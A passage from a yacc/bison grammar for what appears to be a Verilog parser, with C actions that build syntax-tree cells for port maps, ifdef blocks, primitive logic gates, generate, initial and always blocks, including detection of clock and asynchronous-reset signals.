: T_ID T_GENERIC T_LPARENTESIS map_top T_RPARENTESIS T_ID T_LPARENTESIS map_top T_RPARENTESIS T_SEMICOLON
{ /* N_PORT_MAP info0=module, info1=label, info2=generic, info3=list */
$$ = $2; SetType($$,N_PORT_MAP); SetInfo0($$,$1); SetInfo1($$,$6); SetInfo2($$,$4); SetInfo3($$,$8);
SetLine($$,CellLine($1));
ConvertExplist2Substlist($4);
RegisterComponent(ComponentListTop, $$);
FreeTcell($3); FreeTcell($5); FreeTcell($7); FreeTcell($9); FreeTcell($10);
}
| T_ID T_GENERIC T_LPARENTESIS expression_list T_RPARENTESIS T_ID T_LPARENTESIS map_top T_RPARENTESIS T_SEMICOLON
{ /* N_PORT_MAP info0=module, info1=label, info2=generic, info3=list */
$$ = $2; SetType($$,N_PORT_MAP); SetInfo0($$,$1); SetInfo1($$,$6); SetInfo2($$,$4); SetInfo3($$,$8);
SetLine($$,CellLine($1));
ConvertExplist2Substlist($4);
RegisterComponent(ComponentListTop, $$);
FreeTcell($3); FreeTcell($5); FreeTcell($7); FreeTcell($9); FreeTcell($10);
}
| T_ID T_ID T_LPARENTESIS map_top T_RPARENTESIS T_SEMICOLON
{ /* N_PORT_MAP info0=module, info1=label, info2=generic(N_NULL), info3=list */
$$ = $3; SetType($$,N_PORT_MAP); SetInfo0($$,$1); SetInfo1($$,$2); SetInfo2($$,NULLCELL); SetInfo3($$,$4);
SetLine($$,CellLine($1));
RegisterComponent(ComponentListTop, $$);
FreeTcell($5); FreeTcell($6);
}
| T_ID T_ID T_LPARENTESIS T_RPARENTESIS T_SEMICOLON
{ /* N_PORT_MAP info0=module, info1=label, info2=generic(N_NULL), info3=list(N_NULL) */
$$ = $3; SetType($$,N_PORT_MAP); SetInfo0($$,$1); SetInfo1($$,$2); SetInfo2($$,NULLCELL); SetInfo3($$,NULLCELL);
SetLine($$,CellLine($1));
RegisterComponent(ComponentListTop, $$);
FreeTcell($4); FreeTcell($5);
}
| T_ID T_GENERIC T_LPARENTESIS expression_list T_RPARENTESIS T_ID T_LPARENTESIS expression_list T_RPARENTESIS T_SEMICOLON
{ /* N_PORT_MAP info0=module, info1=label, info2=generic, info3=list */
$$ = $2; SetType($$,N_PORT_MAP); SetInfo0($$,$1); SetInfo1($$,$6); SetInfo2($$,$4); SetInfo3($$,$8);
SetLine($$,CellLine($1));
ConvertExplist2Substlist($4);
ConvertExplist2Substlist($8);
RegisterComponent(ComponentListTop, $$);
FreeTcell($3); FreeTcell($5); FreeTcell($7); FreeTcell($9); FreeTcell($10);
}
| T_ID T_ID T_LPARENTESIS expression_list T_RPARENTESIS T_SEMICOLON
{ /* N_PORT_MAP info0=module, info1=label, info2=generic(N_NULL), info3=list */
$$ = $3; SetType($$,N_PORT_MAP); SetInfo0($$,$1); SetInfo1($$,$2); SetInfo2($$,NULLCELL); SetInfo3($$,$4);
SetLine($$,CellLine($1));
ConvertExplist2Substlist($4);
RegisterComponent(ComponentListTop, $$);
FreeTcell($5); FreeTcell($6);
}
;
map_top
: T_IFDEF T_ID map_top T_ELSEDEF map_top T_ENDIFDEF map_top
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_MAP);
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$5); SetNext($$,$7);
}
| T_IFDEF T_ID map_top T_ELSEDEF map_top T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_MAP);
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,$5);
}
| T_IFDEF T_ID map_top T_ELSEDEF T_ENDIFDEF map_top
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_MAP);
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetNext($$,$6);
}
| T_IFDEF T_ID map_top T_ELSEDEF T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_MAP);
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
}
| T_IFDEF T_ID T_ELSEDEF map_top T_ENDIFDEF map_top
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_MAP);
SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,$4); SetNext($$,$6);
}
| T_IFDEF T_ID T_ELSEDEF map_top T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_MAP);
SetInfo0($$,$2); SetInfo1($$,NULLCELL); SetInfo2($$,$4);
}
| T_IFDEF T_ID map_top T_ENDIFDEF map_top
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_MAP)
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL); SetNext($$,$5);
}
| T_IFDEF T_ID map_top T_ENDIFDEF
{ /* T_IFDEF info0=name, info1=body, info2=else */
$$ = $1; SetType($$,N_IFDEF_MAP)
SetInfo0($$,$2); SetInfo1($$,$3); SetInfo2($$,NULLCELL);
}
| map_item T_COMMA map_top
{
$$ = $1; SetNext($$,$3);
FreeTcell($2);
}
| map_item T_COMMA
{
$$ = $1; SetNext($$,NULLCELL);
FreeTcell($2);
}
| map_item
{
$$ = $1; SetNext($$,NULLCELL);
}
;
map_item
: T_DOT T_ID T_LPARENTESIS expression T_DOT expression T_RPARENTESIS
{ /* N_MAP_LIST info0=port, info1=expression, info2=expression */
$$ = $1; SetType($$,N_MAP_LIST); SetInfo0($$,$2); SetInfo1($$,$4); SetInfo2($$,$6);
SetLine($$,CellLine($7));
FreeTcell($3); FreeTcell($7);
}
| T_DOT T_ID T_LPARENTESIS expression T_RPARENTESIS
{ /* N_MAP_LIST info0=port, info1=expression */
$$ = $1; SetType($$,N_MAP_LIST); SetInfo0($$,$2); SetInfo1($$,$4);
SetLine($$,CellLine($5));
FreeTcell($3); FreeTcell($5);
}
| T_DOT T_ID T_LPARENTESIS T_RPARENTESIS
{ /* N_MAP_LIST info0=port, info1=expression */
$$ = $1; SetType($$,N_MAP_LIST); SetInfo0($$,$2); SetInfo1($$,NULLCELL);
SetLine($$,CellLine($4));
FreeTcell($3); FreeTcell($4);
}
;
primitive_instances
: gate_buf T_GENERIC T_LPARENTESIS expression T_RPARENTESIS T_ID T_LPARENTESIS signal_name T_COMMA signal_name T_RPARENTESIS T_SEMICOLON
{ /* T_ASSIGN info0=signal, info1=expression, info2=delay */
$$ = $1; SetType($$,N_VARIABLE_DELAY_ASSIGN); SetInfo0($$,$8); SetInfo1($$,$10); SetInfo2($$,$4);
SetLine($$,CellLine($7));
ChkEvalOutput(CellInfo1($$), SigListTop);
FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($6);
FreeTcell($7); FreeTcell($9); FreeTcell($11); FreeTcell($12);
}
| gate_not T_GENERIC T_LPARENTESIS expression T_RPARENTESIS T_ID T_LPARENTESIS signal_name T_COMMA signal_name T_RPARENTESIS T_SEMICOLON
{ /* T_ASSIGN info0=signal, info1=expression, info2=delay */
$$ = $1; SetType($$,N_VARIABLE_DELAY_ASSIGN); SetInfo0($$,$8); SetInfo1($$,$10); SetInfo2($$,$4);
SetLine($$,CellLine($7));
// connect all inputs to gate
SetInfo1($$,MallocTcell(T_NOT,(char *)NULL,CellLine($12))); // R-val: append new cell
SetInfo0(CellInfo1($$),$10);
ChkEvalOutput(CellInfo1($$), SigListTop);
FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($6);
FreeTcell($7); FreeTcell($9); FreeTcell($11); FreeTcell($12);
}
| gate_buf T_LPARENTESIS signal_name T_COMMA signal_name T_RPARENTESIS T_SEMICOLON
{ /* T_ASSIGN info0=signal, info1=expression */
$$ = $1; SetType($$,T_ASSIGN); SetInfo0($$,$3); SetInfo1($$,$5);
SetLine($$,CellLine($7));
ChkEvalOutput(CellInfo1($$), SigListTop);
FreeTcell($2); FreeTcell($4); FreeTcell($6); FreeTcell($7);
}
| gate_not T_LPARENTESIS signal_name T_COMMA signal_name T_RPARENTESIS T_SEMICOLON
{ /* T_ASSIGN info0=signal, info1=expression */
$$ = $1; SetType($$,T_ASSIGN); SetInfo0($$,$3);
SetLine($$,CellLine($7));
// connect all inputs to gate
SetInfo1($$,MallocTcell(T_NOT,(char *)NULL,CellLine($7))); // R-val: append new cell
SetInfo0(CellInfo1($$),$5);
ChkEvalOutput(CellInfo1($$), SigListTop);
FreeTcell($2); FreeTcell($4); FreeTcell($6); FreeTcell($7);
}
| gate_buf T_GENERIC T_LPARENTESIS expression T_RPARENTESIS T_ID T_LPARENTESIS signal_name T_COMMA signal_name T_COMMA expression_list T_RPARENTESIS T_SEMICOLON
{ /* T_ASSIGN info0=signal, info1=expression, info2=delay */
register TCELLPNT src, dist, nextsrc;
$$ = $1; SetType($$,N_VARIABLE_ASSIGN_DELAY); SetInfo0($$,$8); SetInfo2($$,$4);
SetLine($$,CellLine($14));
// connect all inputs to gate
SetInfo1($$,MallocTcell(T_AND,(char *)NULL,CellLine($14))); // R-val: append new cell
SetInfo0(CellInfo1($$),$10);
for (src = $12, dist = CellInfo1($$); src != NULLCELL; src = nextsrc) {
nextsrc = NextCell(src);
if (NextCell(src) == NULLCELL) { // last parameter
SetInfo1(dist,CellInfo0(src));
FreeTcell(src); // (N_SIGLIST)
}
else {
SetInfo1(dist,MallocTcell(T_AND,(char *)NULL,CellLine($14))); // append new cell
SetInfo0(CellInfo1(dist),CellInfo0(src));
dist = CellInfo1(dist);
FreeTcell(src); // (N_SIGLIST)
}
}
ChkEvalOutput(CellInfo1($$), SigListTop);
FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($6);
FreeTcell($7); FreeTcell($9); FreeTcell($11); FreeTcell($13); FreeTcell($14);
}
| gate_or T_GENERIC T_LPARENTESIS expression T_RPARENTESIS T_ID T_LPARENTESIS signal_name T_COMMA signal_name T_COMMA expression_list T_RPARENTESIS T_SEMICOLON
{ /* T_ASSIGN info0=signal, info1=expression, info2=delay */
register TCELLPNT src, dist, nextsrc;
$$ = $1; SetType($$,N_VARIABLE_ASSIGN_DELAY); SetInfo0($$,$8); SetInfo2($$,$4);
SetLine($$,CellLine($14));
// connect all inputs to gate
SetInfo1($$,MallocTcell(T_OR,(char *)NULL,CellLine($14))); // R-val: append new cell
SetInfo0(CellInfo1($$),$10);
for (src = $12, dist = CellInfo1($$); src != NULLCELL; src = nextsrc) {
nextsrc = NextCell(src);
if (NextCell(src) == NULLCELL) { // last parameter
SetInfo1(dist,CellInfo0(src));
FreeTcell(src); // (N_SIGLIST)
}
else {
SetInfo1(dist,MallocTcell(T_OR,(char *)NULL,CellLine($14))); // append new cell
SetInfo0(CellInfo1(dist),CellInfo0(src));
dist = CellInfo1(dist);
FreeTcell(src); // (N_SIGLIST)
}
}
ChkEvalOutput(CellInfo1($$), SigListTop);
FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($6);
FreeTcell($7); FreeTcell($9); FreeTcell($11); FreeTcell($13); FreeTcell($14);
}
| gate_buf T_LPARENTESIS signal_name T_COMMA signal_name T_COMMA expression_list T_RPARENTESIS T_SEMICOLON
{ /* T_ASSIGN info0=signal, info1=expression */
register TCELLPNT src, dist, nextsrc;
$$ = $1; SetType($$,T_ASSIGN); SetInfo0($$,$3);
SetLine($$,CellLine($9));
// connect all inputs to gate
SetInfo1($$,MallocTcell(T_AND,(char *)NULL,CellLine($9))); // R-val: append new cell
SetInfo0(CellInfo1($$),$5);
for (src = $7, dist = CellInfo1($$); src != NULLCELL; src = nextsrc) {
nextsrc = NextCell(src);
if (NextCell(src) == NULLCELL) { // last parameter
SetInfo1(dist,CellInfo0(src));
FreeTcell(src); // (N_SIGLIST)
}
else {
SetInfo1(dist,MallocTcell(T_AND,(char *)NULL,CellLine($9))); // append new cell
SetInfo0(CellInfo1(dist),CellInfo0(src));
dist = CellInfo1(dist);
FreeTcell(src); // (N_SIGLIST)
}
}
ChkEvalOutput(CellInfo1($$), SigListTop);
FreeTcell($2); FreeTcell($4); FreeTcell($6); FreeTcell($8); FreeTcell($9);
}
| gate_and T_LPARENTESIS signal_name T_COMMA signal_name T_COMMA expression_list T_RPARENTESIS T_SEMICOLON
{ /* T_ASSIGN info0=signal, info1=expression */
register TCELLPNT src, dist, nextsrc;
$$ = $1; SetType($$,T_ASSIGN); SetInfo0($$,$3);
SetLine($$,CellLine($9));
// connect all inputs to gate
SetInfo1($$,MallocTcell(T_AND,(char *)NULL,CellLine($9))); // R-val: append new cell
SetInfo0(CellInfo1($$),$5);
for (src = $7, dist = CellInfo1($$); src != NULLCELL; src = nextsrc) {
nextsrc = NextCell(src);
if (NextCell(src) == NULLCELL) { // last parameter
SetInfo1(dist,CellInfo0(src));
FreeTcell(src); // (N_SIGLIST)
}
else {
SetInfo1(dist,MallocTcell(T_AND,(char *)NULL,CellLine($9))); // append new cell
SetInfo0(CellInfo1(dist),CellInfo0(src));
dist = CellInfo1(dist);
FreeTcell(src); // (N_SIGLIST)
}
}
ChkEvalOutput(CellInfo1($$), SigListTop);
FreeTcell($2); FreeTcell($4); FreeTcell($6); FreeTcell($8); FreeTcell($9);
}
| gate_or T_LPARENTESIS signal_name T_COMMA signal_name T_COMMA expression_list T_RPARENTESIS T_SEMICOLON
{ /* T_ASSIGN info0=signal, info1=expression */
register TCELLPNT src, dist, nextsrc;
$$ = $1; SetType($$,T_ASSIGN); SetInfo0($$,$3);
SetLine($$,CellLine($9));
// connect all inputs to gate
SetInfo1($$,MallocTcell(T_OR,(char *)NULL,CellLine($9))); // R-val: append new cell
SetInfo0(CellInfo1($$),$5);
for (src = $7, dist = CellInfo1($$); src != NULLCELL; src = nextsrc) {
nextsrc = NextCell(src);
if (NextCell(src) == NULLCELL) { // last parameter
SetInfo1(dist,CellInfo0(src));
FreeTcell(src); // (N_SIGLIST)
}
else {
SetInfo1(dist,MallocTcell(T_OR,(char *)NULL,CellLine($9))); // append new cell
SetInfo0(CellInfo1(dist),CellInfo0(src));
dist = CellInfo1(dist);
FreeTcell(src); // (N_SIGLIST)
}
}
ChkEvalOutput(CellInfo1($$), SigListTop);
FreeTcell($2); FreeTcell($4); FreeTcell($6); FreeTcell($8); FreeTcell($9);
}
| gate_xor T_LPARENTESIS signal_name T_COMMA signal_name T_COMMA expression_list T_RPARENTESIS T_SEMICOLON
{ /* T_ASSIGN info0=signal, info1=expression */
register TCELLPNT src, dist, nextsrc;
$$ = $1; SetType($$,T_ASSIGN); SetInfo0($$,$3);
SetLine($$,CellLine($9));
// connect all inputs to gate
SetInfo1($$,MallocTcell(T_XOR,(char *)NULL,CellLine($9))); // R-val: append new cell
SetInfo0(CellInfo1($$),$5);
for (src = $7, dist = CellInfo1($$); src != NULLCELL; src = nextsrc) {
nextsrc = NextCell(src);
if (NextCell(src) == NULLCELL) { // last parameter
SetInfo1(dist,CellInfo0(src));
FreeTcell(src); // (N_SIGLIST)
}
else {
SetInfo1(dist,MallocTcell(T_XOR,(char *)NULL,CellLine($9))); // append new cell
SetInfo0(CellInfo1(dist),CellInfo0(src));
dist = CellInfo1(dist);
FreeTcell(src); // (N_SIGLIST)
}
}
ChkEvalOutput(CellInfo1($$), SigListTop);
FreeTcell($2); FreeTcell($4); FreeTcell($6); FreeTcell($8); FreeTcell($9);
}
| gate_nand T_LPARENTESIS signal_name T_COMMA signal_name T_COMMA expression_list T_RPARENTESIS T_SEMICOLON
{ /* T_ASSIGN info0=signal, info1=expression */
register TCELLPNT src, dist, nextsrc;
$$ = $1; SetType($$,T_ASSIGN); SetInfo0($$,$3);
SetLine($$,CellLine($9));
// connect all inputs to gate
// R-val: append new cell
SetInfo1($$,MallocTcell(T_NOT,(char *)NULL,CellLine($9)));
SetInfo0(CellInfo1($$),MallocTcell(N_PARENTESIS,(char *)NULL,CellLine($9)));
SetInfo0(CellInfo0(CellInfo1($$)),MallocTcell(T_AND,(char *)NULL,CellLine($9)));
SetInfo0(CellInfo0(CellInfo0(CellInfo1($$))),$5);
for (src = $7, dist = CellInfo0(CellInfo0(CellInfo1($$))); src != NULLCELL; src = nextsrc) {
nextsrc = NextCell(src);
if (NextCell(src) == NULLCELL) { // last parameter
SetInfo1(dist,CellInfo0(src));
FreeTcell(src); // (N_SIGLIST)
}
else {
SetInfo1(dist,MallocTcell(T_AND,(char *)NULL,CellLine($9))); // append new cell
SetInfo0(CellInfo1(dist),CellInfo0(src));
dist = CellInfo1(dist);
FreeTcell(src); // (N_SIGLIST)
}
}
ChkEvalOutput(CellInfo1($$), SigListTop);
FreeTcell($2); FreeTcell($4); FreeTcell($6); FreeTcell($8); FreeTcell($9);
}
| gate_nor T_LPARENTESIS signal_name T_COMMA signal_name T_COMMA expression_list T_RPARENTESIS T_SEMICOLON
{ /* T_ASSIGN info0=signal, info1=expression */
register TCELLPNT src, dist, nextsrc;
$$ = $1; SetType($$,T_ASSIGN); SetInfo0($$,$3);
SetLine($$,CellLine($9));
// connect all inputs to gate
// R-val: append new cell
SetInfo1($$,MallocTcell(T_NOT,(char *)NULL,CellLine($9)));
SetInfo0(CellInfo1($$),MallocTcell(N_PARENTESIS,(char *)NULL,CellLine($9)));
SetInfo0(CellInfo0(CellInfo1($$)),MallocTcell(T_OR,(char *)NULL,CellLine($9)));
SetInfo0(CellInfo0(CellInfo0(CellInfo1($$))),$5);
for (src = $7, dist = CellInfo0(CellInfo0(CellInfo1($$))); src != NULLCELL; src = nextsrc) {
nextsrc = NextCell(src);
if (NextCell(src) == NULLCELL) { // last parameter
SetInfo1(dist,CellInfo0(src));
FreeTcell(src); // (N_SIGLIST)
}
else {
SetInfo1(dist,MallocTcell(T_OR,(char *)NULL,CellLine($9))); // append new cell
SetInfo0(CellInfo1(dist),CellInfo0(src));
dist = CellInfo1(dist);
FreeTcell(src); // (N_SIGLIST)
}
}
ChkEvalOutput(CellInfo1($$), SigListTop);
FreeTcell($2); FreeTcell($4); FreeTcell($6); FreeTcell($8); FreeTcell($9);
}
| gate_xnor T_LPARENTESIS signal_name T_COMMA signal_name T_COMMA expression_list T_RPARENTESIS T_SEMICOLON
{ /* T_ASSIGN info0=signal, info1=expression */
register TCELLPNT src, dist, nextsrc;
$$ = $1; SetType($$,T_ASSIGN); SetInfo0($$,$3);
SetLine($$,CellLine($9));
// connect all inputs to gate
// R-val: append new cell
SetInfo1($$,MallocTcell(T_NOT,(char *)NULL,CellLine($9)));
SetInfo0(CellInfo1($$),MallocTcell(N_PARENTESIS,(char *)NULL,CellLine($9)));
SetInfo0(CellInfo0(CellInfo1($$)),MallocTcell(T_XOR,(char *)NULL,CellLine($9)));
SetInfo0(CellInfo0(CellInfo0(CellInfo1($$))),$5);
for (src = $7, dist = CellInfo0(CellInfo0(CellInfo1($$))); src != NULLCELL; src = nextsrc) {
nextsrc = NextCell(src);
if (NextCell(src) == NULLCELL) { // last parameter
SetInfo1(dist,CellInfo0(src));
FreeTcell(src); // (N_SIGLIST)
}
else {
SetInfo1(dist,MallocTcell(T_XOR,(char *)NULL,CellLine($9))); // append new cell
SetInfo0(CellInfo1(dist),CellInfo0(src));
dist = CellInfo1(dist);
FreeTcell(src); // (N_SIGLIST)
}
}
ChkEvalOutput(CellInfo1($$), SigListTop);
FreeTcell($2); FreeTcell($4); FreeTcell($6); FreeTcell($8); FreeTcell($9);
}
;
gate_buf
: T_GATE_BUF T_ID
{
$$ = $1;
FreeTcell($2);
}
| T_GATE_BUF
{
$$ = $1;
}
;
gate_not
: T_GATE_NOT T_ID
{
$$ = $1;
FreeTcell($2);
}
| T_GATE_NOT
{
$$ = $1;
}
;
gate_and
: T_GATE_AND T_ID
{
$$ = $1;
FreeTcell($2);
}
| T_GATE_AND
{
$$ = $1;
}
;
gate_or
: T_GATE_OR T_ID
{
$$ = $1;
FreeTcell($2);
}
| T_GATE_OR
{
$$ = $1;
}
;
gate_xor
: T_GATE_XOR T_ID
{
$$ = $1;
FreeTcell($2);
}
| T_GATE_XOR
{
$$ = $1;
}
;
gate_nand
: T_GATE_NAND T_ID
{
$$ = $1;
FreeTcell($2);
}
| T_GATE_NAND
{
$$ = $1;
}
;
gate_nor
: T_GATE_NOR T_ID
{
$$ = $1;
FreeTcell($2);
}
| T_GATE_NOR
{
$$ = $1;
}
;
gate_xnor
: T_GATE_XNOR T_ID
{
$$ = $1;
FreeTcell($2);
}
| T_GATE_XNOR
{
$$ = $1;
}
;
generate_blocks
: T_GENERATE always_body T_ENDGENERATE
{ /* T_GENERATE info0=body */
$$ = $1; SetInfo0($$,$2);
SetLine($$,CellLine($1));
}
| T_GENERATE full_data_type_declarations_list always_body T_ENDGENERATE
{ /* T_GENERATE info0=body */
$$ = $1; SetInfo0($$,$3);
SetLine($$,CellLine($1));
}
| T_GENERATE always_bodies T_ENDGENERATE
{ /* T_GENERATE info0=body */
$$ = $1; SetInfo0($$,$2);
SetLine($$,CellLine($1));
}
| T_GENERATE full_data_type_declarations_list always_bodies T_ENDGENERATE
{ /* T_GENERATE info0=body */
$$ = $1; SetInfo0($$,$3);
SetLine($$,CellLine($1));
}
;
fork_part
: T_FORK always_bodies_generic T_JOIN
{ /* N_FORK info0=body */
$$ = $1; SetType($$,N_FORK); SetInfo0($$,$2);
SetLine($$,CellLine($1));
}
;
initial_part
: T_INITIAL always_body_generic
{ /* N_INITIAL info0=body */
$$ = $1; SetType($$,N_INITIAL); SetInfo0($$,$2);
SetLine($$,CellLine($1));
}
;
unconditional_part
: T_ALWAYS T_AT T_LPARENTESIS T_MULT T_RPARENTESIS always_body_generic
{ /* N_ALWAYS_UNCONDITIONAL info0=body */
$$ = $1; SetType($$,N_ALWAYS_UNCONDITIONAL); SetInfo0($$,$6);
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($3); FreeTcell($5);
}
| T_ALWAYS T_AT T_MULT always_body_generic
{ /* N_ALWAYS_UNCONDITIONAL info0=body */
$$ = $1; SetType($$,N_ALWAYS_UNCONDITIONAL); SetInfo0($$,$4);
SetLine($$,CellLine($1));
FreeTcell($2);
}
| T_ALWAYS T_BEGIN always_bodies T_END
{ /* N_ALWAYS_UNCONDITIONAL info0=body */
$$ = $1; SetType($$,N_ALWAYS_UNCONDITIONAL); SetInfo0($$,$3);
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($4);
}
| T_ALWAYS T_BEGIN always_body T_END
{ /* N_ALWAYS_UNCONDITIONAL info0=body */
$$ = $1; SetType($$,N_ALWAYS_UNCONDITIONAL); SetInfo0($$,$3);
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($4);
}
;
always_part
: T_ALWAYS T_AT T_LPARENTESIS sensitivity_list_combinational T_RPARENTESIS T_BEGIN T_COLON T_ID variable_process_types_list always_bodies T_END
{ /* N_ALWAYS_COMBINATIONAL info0=sensitivity, info1=body */
$$ = $1; SetType($$,N_ALWAYS_COMBINATIONAL); SetInfo0($$,$4); SetInfo1($$,$10); SetInfo3($$,$9);
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($6); FreeTcell($11);
}
| T_ALWAYS T_AT T_LPARENTESIS sensitivity_list_combinational T_RPARENTESIS T_BEGIN T_COLON T_ID variable_process_types_list always_body T_END
{ /* N_ALWAYS_COMBINATIONAL info0=sensitivity, info1=body */
$$ = $1; SetType($$,N_ALWAYS_COMBINATIONAL); SetInfo0($$,$4); SetInfo1($$,$10); SetInfo3($$,$9);
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($6); FreeTcell($11);
}
| T_ALWAYS T_AT T_LPARENTESIS sensitivity_list_combinational T_RPARENTESIS T_COLON T_ID variable_process_types_list always_body
{ /* N_ALWAYS_COMBINATIONAL info0=sensitivity, info1=body */
$$ = $1; SetType($$,N_ALWAYS_COMBINATIONAL); SetInfo0($$,$4); SetInfo1($$,$9); SetInfo3($$,$8);
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($3); FreeTcell($5);
}
| T_ALWAYS T_AT T_LPARENTESIS sensitivity_list_combinational T_RPARENTESIS always_body_generic
{ /* N_ALWAYS_COMBINATIONAL info0=sensitivity, info1=body */
$$ = $1; SetType($$,N_ALWAYS_COMBINATIONAL); SetInfo0($$,$4); SetInfo1($$,$6);
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($3); FreeTcell($5);
}
| T_ALWAYS T_AT T_LPARENTESIS sensitivity_item_sequential T_RPARENTESIS always_body_generic
{ /* N_ALWAYS_SYNCRONE_SEQUENCE info0=sensitivity, info1=body */
$$ = $1; SetType($$,N_ALWAYS_SYNCRONE_SEQUENCE); SetInfo0($$,$4); SetInfo1($$,$6);
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($3); FreeTcell($5);
}
| T_ALWAYS T_AT T_LPARENTESIS sensitivity_item_sequential T_GATE_OR sensitivity_item_sequential T_RPARENTESIS T_BEGIN T_COLON T_ID variable_process_types_list always_bodies T_END
{ /* N_ALWAYS_ASYNCRONE_SEQUENCE info0=sensitivity, info1=body, info2=sensitivity(reset) */
$$ = $1; SetType($$,N_ALWAYS_ASYNCRONE_SEQUENCE); SetInfo1($$,$12); SetInfo3($$,$11);
if (UsedSignalinIfCond($12,CellInfo0($4)) == False && UsedSignalinIfCond($12,CellInfo0($6)) == True) {
SetInfo0($$,$4); // clk
SetInfo2($$,$6); // reset
}
else if (UsedSignalinIfCond($12,CellInfo0($4)) == True && UsedSignalinIfCond($12,CellInfo0($6)) == False) {
SetInfo0($$,$6); // clk
SetInfo2($$,$4); // reset
}
else {
yyerror("$Can not determine clock signal.");
}
if (CellType($12) == T_IF) {
CellType($12) = N_ASYNCRST_IF;
if (CellInfo2($12) != NULLCELL && CellType(CellInfo2($12)) == T_ELSIF)
CellType(CellInfo2($12)) = T_IF;
}
else {
yyerror("$Unsupported type of description for async reset.");
}
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($7); FreeTcell($8); FreeTcell($13);
}
| T_ALWAYS T_AT T_LPARENTESIS sensitivity_item_sequential T_GATE_OR sensitivity_item_sequential T_RPARENTESIS T_BEGIN T_COLON T_ID variable_process_types_list always_body T_END
{ /* N_ALWAYS_ASYNCRONE_SEQUENCE info0=sensitivity, info1=body, info2=sensitivity(reset) */
$$ = $1; SetType($$,N_ALWAYS_ASYNCRONE_SEQUENCE); SetInfo1($$,$12); SetInfo3($$,$11);
if (UsedSignalinIfCond($12,CellInfo0($4)) == False && UsedSignalinIfCond($12,CellInfo0($6)) == True) {
SetInfo0($$,$4); // clk
SetInfo2($$,$6); // reset
}
else if (UsedSignalinIfCond($12,CellInfo0($4)) == True && UsedSignalinIfCond($12,CellInfo0($6)) == False) {
SetInfo0($$,$6); // clk
SetInfo2($$,$4); // reset
}
else {
yyerror("$Can not determine clock signal.");
}
if (CellType($12) == T_IF) {
CellType($12) = N_ASYNCRST_IF;
if (CellInfo2($12) != NULLCELL && CellType(CellInfo2($12)) == T_ELSIF)
CellType(CellInfo2($12)) = T_IF;
}
else {
yyerror("$Unsupported type of description for async reset.");
}
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($7); FreeTcell($8); FreeTcell($13);
}
| T_ALWAYS T_AT T_LPARENTESIS sensitivity_item_sequential T_GATE_OR sensitivity_item_sequential T_RPARENTESIS T_COLON T_ID variable_process_types_list always_body
{ /* N_ALWAYS_ASYNCRONE_SEQUENCE info0=sensitivity, info1=body, info2=sensitivity(reset) */
$$ = $1; SetType($$,N_ALWAYS_ASYNCRONE_SEQUENCE); SetInfo1($$,$11); SetInfo3($$,$10);
if (UsedSignalinIfCond($11,CellInfo0($4)) == False && UsedSignalinIfCond($11,CellInfo0($6)) == True) {
SetInfo0($$,$4); // clk
SetInfo2($$,$6); // reset
}
else if (UsedSignalinIfCond($11,CellInfo0($4)) == True && UsedSignalinIfCond($11,CellInfo0($6)) == False) {
SetInfo0($$,$6); // clk
SetInfo2($$,$4); // reset
}
else {
yyerror("$Can not determine clock signal.");
}
if (CellType($11) == T_IF) {
CellType($11) = N_ASYNCRST_IF;
if (CellInfo2($11) != NULLCELL && CellType(CellInfo2($11)) == T_ELSIF)
CellType(CellInfo2($11)) = T_IF;
}
else {
yyerror("$Unsupported type of description for async reset.");
}
SetLine($$,CellLine($1));
FreeTcell($2); FreeTcell($3); FreeTcell($5); FreeTcell($7);
}
| T_ALWAYS T_AT T_LPARENTESIS sensitivity_item_sequential T_GATE_OR sensitivity_item_sequential T_RPARENTESIS always_body_generic
{ /* N_ALWAYS_ASYNCRONE_SEQUENCE info0=sensitivity, info1=body, info2=sensitivity(reset) */
$$ = $1; SetType($$,N_ALWAYS_ASYNCRONE_SEQUENCE); SetInfo1($$,$8);
if (CellType($8) == T_IF) {
if (UsedSignalinIfCond($8,CellInfo0($4)) == False && UsedSignalinIfCond($8,CellInfo0($6)) == True) {
SetInfo0($$,$4); // clk
SetInfo2($$,$6); // reset
}
else if (UsedSignalinIfCond($8,CellInfo0($4)) == True && UsedSignalinIfCond($8,CellInfo0($6)) == False) {
SetInfo0($$,$6); // clk
SetInfo2($$,$4); // reset
}
else {
SetInfo0($$,$4); // clk
SetInfo2($$,$6); // reset
}
if (CellType($8) == T_IF) {
CellType($8) = N_ASYNCRST_IF;
if (CellInfo2($8) != NULLCELL && CellType(CellInfo2($8)) == T_ELSIF)
CellType(CellInfo2($8)) = T_IF;
}
else {
yyerror("$Unsupported type of description for async reset.");
}
}
else {
SetInfo0($$,$4); // clk
SetInfo2($$,$6); // reset
}
SetLine($$,CellLine($1));
